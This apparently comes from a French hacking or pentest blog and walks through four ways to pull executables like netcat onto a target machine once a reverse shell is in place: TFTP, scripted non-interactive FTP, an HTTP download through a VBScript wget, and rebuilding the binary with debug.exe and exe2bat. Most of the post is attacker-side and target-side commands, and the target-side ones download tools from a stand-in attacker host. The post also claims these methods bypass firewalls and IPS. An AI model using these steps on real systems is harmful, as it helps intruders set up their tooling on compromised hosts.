4 méthodes pour charger des exécutables

white_ninjaBonjour à vous Ô lecteurs assidus ! Je reviens en coups de vent avec dans ma besace ce petit mémo : Les 4 méthodes pour charger des exécutables sur votre cible.

Hypothèse de départ

Nous supposerons ici que vous avez déjà :

  • Nmapé votre sous-réseau cible
  • Identifié les services vulnérables (smb…au hasard)
  • Lancé un metasploit avec votre payload préféré
  • Obtenu un joli shell

Et là ! vous souhaitez télécharger plein d’outils afin de faire un dump des hashs, le sacro-saint NetCat pour vos futurs scan, SBD pour vos futurs téléchargement et shell ou encore un client ssh pour rebondir vers les serveurs de deuxième base (les serveurs non routables derrière le frontal que vous venez de prendre).

C’est quoi le problème ?!

Et bien le problème c’est que vous n’aviez pas assez de place dans votre payload pour un meterpreter, du coup vous vous contentez d’un reverse shell.

Mais pas d’inquiétude ! Voilà 4 méthodes que vous pourrez joyeusement essayer.

1 – TFTP, l’évidence !

La première chose à tenter est la connexion tftp. En effet, le client tftp est souvent installé par défaut et, en plus c’est hyper simple à mettre en place.

Coté attaquant :

#>atftpd --daemon --port 69 /tmp/
#>netstat -anu | grep 69
#>cp /usr/share/windows-binaries/nc.exe /tmp/

Coté cible :

#> tftp -i attaquant@hacker.com GET nc.exe

Voilà ! ça c’est fait… Et vous me direz : “Oui t’es bien gentil mais pourquoi on fait pas un ftp?” et je vous répondrais :”Le mieux c’est que tu testes !

 Règle n°1 du terminal à distance : ne JAMAIS lancer de protocole interactif !

 

2 – FTP…la parade

Faut-il oublier ce cher ftp pour autant ? Bien sur que non. Il suffit d’exécuter toutes les commandes via un fichier en paramètres afin de contourner le problème “interactif”.

Coté attaquant (avec pure-ftpd):

#>groupadd ftpgroup
#>useradd -g ftpgroup-d /dev/null -s /usr/sbin/nologin  ftpuser
#>mkdir /opt/ftphome/ 
#>pure-pw useradd 0x0c -u ftpuser -d /opt/ftphome/
#>pure-pw mkdb
#>cd /etc/pure-ftpd/auth/
#> ln -s ../conf/PureDB 50puredb
#>cp /usr/share/windows-binaries/nc.exe /opt/ftphome/

Coté cible avec votre mini shell:

#>echo open attaquant@hacker.com>ftp.txt
#>echo 0x0c >>ftp.txt
#>echo password123 >>ftp.txt
#>echo bin >> ftp.txt
#>echo GET nc.exe>>ftp.txt
#>echo bye>>ftp.txt
On vient donc de créer notre liste de commande à exécuter.
Il ne nous reste plus qu'à appeler le client ftp de manière non-interactive
#>ftp -s:ftp.txt

Et POUF ! c’est gagné. Nous avons exécuter un chargement ftp sans faire appel, à aucun moment, à l’utilisateur de manière interactive.

“Oui OK et si le ftp n’est pas autorisé en sortie ?” Ah la bonne question ! Et bien il nous reste encore deux méthodes…

 

3 – HTTP request power

On va donc faire un petit serveur web afin que notre client puisse venir le chercher…et tout ça en ligne de commande.

Coté attaquant:

#>apache2ctl start
#>cp /usr/share/windows-binaries/nc.exe /var/www/

Ensuite pour le chargement, avec linux un wget suffit, pour windows c’est plus compliqué… Nous allons donc utiliser le vbscript suivant https://gist.github.com/udawtr/2053179 (vous pouvez en utiliser d’autres sur le web évidemment). Ensuite nous allons le transformer afin de pouvoir le créer dynamiquement :

#>cat wget.vbs | sed -e "s/^/echo / " -e "s/$/ >> wget.vbs/" >wget.copy-paste

Ensuit vous ouvrez wget.copy-paste dans votre éditeur préféré et “Ctrl+A, Ctrl+C”

Coté cible (avec votre mini shell):

Et là, vous faites votre “Ctrl+V”. Vous vous retrouvez alors avec un beau wget.vbs sur votre cible. il ne vous reste plus qu’à exécuter la commande suivante:

#> cscripts wget.vbs attaquant@hacker.com nc.exe

 Et venez pas me dire que le port 80 est interdit en sortie !!…Bon mais il peut être filtré alors voilà une dernière méthode ! Ma préférée.

 

4 – J’te compile

Avant toute chose, cette méthode ne marche que sur windows car nous nous basons sur son mini-compilateur assembleur installé par défaut debug.exe pour reconstituer le fichier.

Coté attaquant :

Le fichier à exécuter ne devant pas faire plus  65 280  Octets, c’est une limitation imposé par debug.exe. On va donc commencer par compresser notre Netcat (pour l’exemple), vous allez voir c’est assez impressionnant :

#>cd /usr/share/windows-binaries/
#>cp nc.exe nc.exe.ori
#> upx -9 nc.exe 
---Réduction de 50% de la taille de notre programme ---
#> wine exe2bat.exe nc.exe nc.txt

Vous éditez nc.txt avec votre éditeur préféré et “Ctrl+A, Ctrl+C”

Coté cible (avec votre mini shell):

Et là, vous faites votre “Ctrl+V”. Si la dernière ligne se rate, vous pouvez la relancer sans problème, pour rappel c’est :

#>copy 1.dll nc.exe

Votre netcat est à présent complètement fonctionnel sur votre machine cible et cela en bypassant firewall, proxy et IPS (si mal configuré). N’hésitez pas à essayer cette petite manip sur votre Windows, ça ne coûte rien, c’est marrant et vous pourrez voir de vos yeux à vous ce que ça donne. Je n’ai pas pu faire de vidéo étant pris par le temps. Sur ce je vous laisse, en espérant que ce billet vous ait plu.